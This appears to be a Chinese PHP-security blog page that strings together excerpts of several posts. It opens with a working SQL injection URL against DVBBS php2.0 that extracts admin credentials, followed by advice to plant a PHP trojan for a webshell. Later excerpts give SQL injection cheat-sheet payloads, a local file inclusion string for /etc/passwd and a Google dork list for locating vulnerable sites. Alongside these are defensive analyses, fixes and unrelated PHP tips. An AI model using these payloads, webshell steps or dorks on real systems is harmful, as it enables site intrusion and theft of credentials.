DVBBS php2.0 注入漏洞

来源:Xiaoz

boardrule.php?groupboardid=1/**/union/**/select/**/concat(0xBAF3CCA8D3C3BBA7C3FBA3BA,username,0x202020C3DCC2EBA3BA,password)/**/from%20dv_admin%20where%20id%20between%201%20and%204/**/

admin/index.php

进入后台即可了..

模板CSS里添加上php木马,或者用一句话木马连接即可拿到webshell了.

PHP的SQL注入

来源:lost Blog

语句,只有灵活的运用SQL
语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了
解SQL的基本原理。笔记中的代码来自网络。
===基础部分===
本表查询:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

Union联合语句:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

导出文件:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

Insert语句:
Insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
构造homepage值为:http://4ngel.net', '3’)#
SQL 语句变为:Insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1');

Update语句:我喜欢这样个东西
先理解这句SQL
Update user SET password='MD5($password)', homepage='$homepage' Where id='$id'
如果此SQL被修改成以下形式,就实现了注入
1:修改homepage值为
http://4ngel.net', userlevel='3
之后SQL语句变为
Update user SET password='mypass', homepage='http://4ngel.net', userlevel='3' Where id='$id'
userlevel为用户级别
2:修改password值为
mypass)' Where username='admin'#
之后SQL语句变为
Update user SET password='MD5(mypass)' Where username='admin'#)', homepage='$homepage' Where id='$id'
3:修改id值为
' or username='admin'
之后SQL语句变为
Update user SET password='MD5($password)', homepage='$homepage' Where id='' or username='admin'
Read the rest of this entry

PHP编程的一种失误

嘎嘎,在群里看到xi4oyu发的一个后台的登陆验证部分,当登陆不成功是通过javascript来转向的,但他没有控制后面的输出是否停止,这就引起,当用户浏览器禁用JAVASCRIPT的时候,登陆验证失效,可以直接登陆。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
include("functions.inc.php");
 
if(!logged_in()) {
	echo<<<EOD
	<script language="JavaScript">
	alert("登陆失败!");
	location.href="index.php";
	</script>
EOD;
}
?>

其中logged_in()应该是检测是否登陆的函数,不管结果是正确的还是错误的,只要调过去后面的JAVASCRIPT转向,这个都等于虚设。
在ASP中,我们碰到上面的问题,其实只需要在输出错误信息后,直接一个Response.End就搞定了。但PHP中没有,我们就可以在上面加一个Exit;即可

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include("functions.inc.php");
 
if(!logged_in()) {
	echo<<<EOD
	<script language="JavaScript">
	alert("登陆失败!");
	location.href="index.php";
	</script>
EOD;
Exit;
}
?>

Abysssec Inc Public Advisory
Title : PHP <= 5.2.9 SafeMod Bypass Vulnerability
Affected Version : Tested on 5.2.8, 5.2.6 but previous versions maybe be afftect
Vendor Site : www.php.net

Vulnerability Discoverd by : www.abysssec.com
Description :

Here is another safemod bypass vulnerability exist in php <= 5.2.9 on windows .
the problem comes from OS behavior - implement and interfacing between php
and operation systems directory structure . the problem is php won't tell difference
between directory browsing in linux and windows this can lead attacker to ability
execute his / her commands on targert machie even in SafeMod On (php.ini setting) .

Vulnerability :

in linux when you want open a directory for example php directory you need
to go to /usr/bin/php and you can't use \usr\bin\php . but windows won't tell
diffence between slash and back slash it means there is no didffrence between
c:\php and c:/php , and this is not vulnerability but itself but because of this simple
php implement "\" character can escape safemode using function like excec .
PoC / Exploit :

orginal : www.abysssec.com/safemod-windows.zip
mirror : www.milw0rm.com/sploits/2009-safemod-windows.zip

note : this vulnerabities is just for educational purpose and showing vulnerability exist
so author will be not be responsible for any damage using this vulnerabilty.

for more information visit Abysssec.com
feel free to contact me at admin [at] abysssec.com

# milw0rm.com [2009-05-26]

当magic_quotes_gpc=off

前面一个ECSHOP的漏洞就是在这个前提下的...晓鹏看到后就想到了那天群里发出来的这个..找了下发出来..当然里面存在了那个注入漏洞的代码..

Pstzine0x03里"[0x06] 高级PHP代码审核技术"一文中关于 "5.3.6 变量key与魔术引号" 部分的php源代码分析

author: ryat#www.wolvez.org
team:http://www.80vul.com
date:2009-04-10

一、综述

magic_quotes_gpc是php中的一个安全选项,在php manual中对此有如下描述:

When on, all ' (single-quote), " (double quote), \ (backslash) and NULL characters are escaped with a backslash automatically. This is identical to what addslashes() does

虽然magic_quotes_gpc有助于提升程序的安全性并且在php中默认开启,但同时也带来了其他的一些问题,因此在php6中将去掉此选项。

二、当magic_quotes_gpc=off

考虑到部分服务器关闭了magic_quotes_gpc或者其他的一些原因[如影响功能等],很多程序在如magic_quotes_gpc=off下自己实现一个代码来模拟magic_quotes_gpc=on的情况. 如下面的一段代码:

define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
...
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
	foreach($$_request as $_key => $_value) {
		$_key{0} != '_' && $$_key = daddslashes($_value);
	}
}
...
function daddslashes($string, $force = 0) {
	!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
	if(!MAGIC_QUOTES_GPC || $force) {
		if(is_array($string)) {
			foreach($string as $key => $val) {
				$string[$key] = daddslashes($val, $force);
			}
		} else {
			$string = addslashes($string);
		}
	}
	return $string;
}

利用addslashes()函数模拟了magic_quotes_gpc=on时的效果,看上去很完美,其实是有缺陷的或者说只是模拟了magic_quotes_gpc的部分功能. Read the rest of this entry

当php.ini设置magic_quotes_sybase为on时会覆盖magic_quotes_gpc为on的处理,然而magic_quotes_sybase仅仅是转义了nullbyte和把'变成了'' :)

author: ryat#wolvez.org
team:http://www.80vul.com
date:2009-04-14

一 描叙

magic_quotes_gpc为on时,php在注册变量时会调用addslashes()函数处理[既转义单引号、双引号、反斜线和 nullbyte],但php.ini中还有另外一个选项影响着magic_quotes_gpc和addslashes()函数:当php.ini设置 magic_quotes_sybase为on时会覆盖magic_quotes_gpc为on的处理,然而magic_quotes_sybase仅仅是转义了nullbyte和把'变成了''

二 分析

先来看下addslashes的php源码:

// string.c
PHPAPI char *php_addslashes(char *str, int length, int *new_length, int should_free TSRMLS_DC)
{
	return php_addslashes_ex(str, length, new_length, should_free, 0 TSRMLS_CC);
}
...
PHPAPI char *php_addslashes_ex(char *str, int length, int *new_length, int should_free, int ignore_sybase TSRMLS_DC)
{
...
	if (!ignore_sybase && PG(magic_quotes_sybase)) {
// 如果ignore_sybase=0[默认为0]且magic_quotes_sybase为on就执行下面的代码
		while (source < end) {
			switch (*source) {
				case '':
					*target++ = '\';
					*target++ = '0';
					break;
				case ''':
					*target++ = ''';
					*target++ = ''';
					break;
				default:
					*target++ = *source;
					break;
			}
			source++;
// 从上面的代码可以看到只是把null变成了,'变成了''
		}
	} else {
// 执行常规的转义
...

Read the rest of this entry

  TinyURL是一个缩短网址的Web服务,可以把很长的网址变成简单的地址,通常创建TinyURL的方法是去其主页创建,有时候会有用户在客户端自动生成TinyURL的情况,这里介绍一个通过PHP调用TinyURL生成缩短地址的方法。

  TinyURL API的PHP函数如下

<?php
function TinyURL($u){
return file_get_contents('http://tinyurl.com/api-create.php?url='.$u);
}
?>

  调用的例子是

<?php
$url = 'http://www.williamlong.info/';
$tiny = TinyURL($url);
echo('The TinyURL of "'.$url.'" is "'.$tiny.'"');
die();
?>
转自:http://www.williamlong.info/archives/1797.html

-[ 作者信息 ]-----------------------------------------------------------------------

标题: "PHP Undergroud Security"
作者: Omnipresent
邮箱: omnipresent@email.it - omni@playhack.net
主页: http://omni.playhack.net - http://www.playhack.net
日期: 2007-04-12

---------------------------------------------------------------------------------

-[ 译者信息 ]-----------------------------------------------------------------------

译者:riusksk(泉哥)

邮箱:riusksk@qq.com

主页: http://riusksk.blogbus.com

日期:2008-11-15

---------------------------------------------------------------------------------

-[ 摘要 ]---------------------------------------------------------------------

0x00: 前言

0x01: 关注全局变量
# 修补

0x02: 文件包含

# 修补

0x03: 跨站脚本
0x04: SQL注入

_ 0x04a: 绕过登陆验证
_ 0x04b: 1 Query? No.. 2 one!(译注:不好翻译,还是保留原文吧!)

# 修补

0x05: 文件遍历

# 修补
0x05: 结论

---[ 0x00: 前言]

大家好!首先对我糟糕的英语表示抱歉,因为它不是我的母语.

在本教程中,我将会向大家介绍一些主要的php漏洞,以及如何发现、利用并修补它!

-----------------------------------------------------------------------------[/]

---[ 0x01: 关注全局变量]

在php中,你并不一定需要声明变量(这对程序员来说确实是件好事),当你必须使用它时它会“自动”创建的。你可能认为这是件不错的事,确实如此,但这只是偶而发生的事情。

众所周之,PHP经常要获取用户的输入值,并对其进行处理。假如我们在使用一个未声明过的变量时,就可能会引发web程序的安全问题。例如下面一段代码:

[...]
 
     if ($is_admin == 1) {
          //Yes, I'm the admin so call the Administration Pannel
          [...]
     } else {
          //No, I'm not the admin
          [...]
     }

上面的变量$is_admin ,我们在使用前并未声明过,那么我们是否可以绕过该变量(在bugged.php文件中)而访问未经授权的管理面板呢?答案是肯定,但我们该如何添加管理认证权限呢?其实很简单,比如:

http://remote_host/bugged.php?is_admin=1

---[ 修补 ]---
如何修补该漏洞呢?这很容易:在if语句前声明变量$is_admin 即可,代码如下:

$is_admin = 0;
 
[...]
 
     if ($is_admin == 1) {
          //Yes, I'm the admin so call the Administration Pannel(为真,则说明是管理员,因此被重定向管理界面)
          [...]
     } else {
          //No, I'm not the admin(为假,则不是管理员)
          [...]
     }

-----------------------------------------------------------------------------[/]

---[ 0x02: 文件包含]

-----[本地文件包含]

PHP是种杰出的语言,强大而简单;但是如果你不想在你的代码中出现安全问题,那么你就必须注意一下你的代码了。

在一些情况下,使用动态包含文件(部分路径名存在某个变量中)确实是件好事。让我们看一下下面的代码:

<!--p
 
     include "/users/".$include_path.".php";
     [...]
-->

变量$include_path 在使用前并未进行任何声明,因此攻击者可以在该变量中输入恶意数据,使其包含其它文件(比如/etc/passwd..)。

用户通过修改URL中的$include_path 变量值可以很容易浏览其它文件。例如:

http://remote_host/bugged.php?include_path=../../../../etc/passwd%00

包含后的结果如下:

<!--p
 
     include "/users/../../../../etc/passwd%00.php"
     [...]
-->

因此攻击者可以窃取到存在服务器上的所有密码。

- [ 注意 ] -

%00是一个NULL字符,用于“删除”PHP文件扩展名。如果省略掉NULL,将只会显示PHP文件的内容,因为包含文件的扩展名是PHP(include "/users/".$include_path.".PHP")

-------------------------------------------------------------------------------

-----[ 远程文件包含] Read the rest of this entry

php google hack 关键字

inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id= Read the rest of this entry

第一个目的是谈论得最多的目的,它设想的情形是:一组程序员编写用于生成页面内容的PHP脚本,同时另一组设计人员设计HTML和图形以控制页面的最终外观。分离功能和布局的基本思想就是使得这两组人能够各自编写和使用独立的一组文件:程序员只需关心那些只包含PHP代码的文件,无需关心页面的外观;而页面设计人员可以用自己最熟悉的可视化编辑器设计页面布局,无需担心破坏任何嵌入到页面的PHP代码。

如果你曾经看过几个关于PHP模板的教程,那么你应该已经明白模板的工作机制。考虑一个简单的页面局部:页面的上方是页头,左边是导航条,其余部分是内容区域。

可以看出页面如何由这些模板构造而成:main模板控制着整个页面的布局;header模板和leftnav模板控制着页面的公共元素。花括号"{}"里面的标识符是内容占位符。使用模板最主要的好处在于界面设计者能够按照自己的意愿编辑这些文件,比如设置字体、修改颜色和图形,或者完全地改变页面的布局。界面设计者可以用任何普通HTML编辑器或者可视化工具编辑这些页面,因为这些文件都只包含HTML代码,没有任何PHP代码。

PHP代码全部保存到单独的文件中,这个文件也就是由页面URL实际调用的文件。Web服务器通过PHP引擎解析该文件,然后把结果返回给浏览器。一般地,PHP代码总是动态地生成页面内容,比如查询数据库或者执行某种计算等。下面是一个例子:

// 此处的PHP代码设置
$content使其包含合适的页面内容
 
$tpl->assign('CONTENT', $content); 
 
$tpl->parse('HEADER', 'header'); 
 
$tpl->parse('LEFTNAV', 'leftnav'); 
 
$tpl->parse('MAIN', 'main'); 
 
$tpl->FastPrint('MAIN'); 
 
?>

这里我们使用的是流行的FastTemplate模板类,但其基本思路对于其他许多模板类来说都一样。首先你实例化一个类,告诉它到哪里去寻找模板文件以及哪一个模板文件与页面的哪部分对应;接下来是生成页面内容,把结果赋予内容的标识符;然后,依次解析各个模板文件,模板类将执行必要的替换操作;最后把解析结果输出到浏览器。 Read the rest of this entry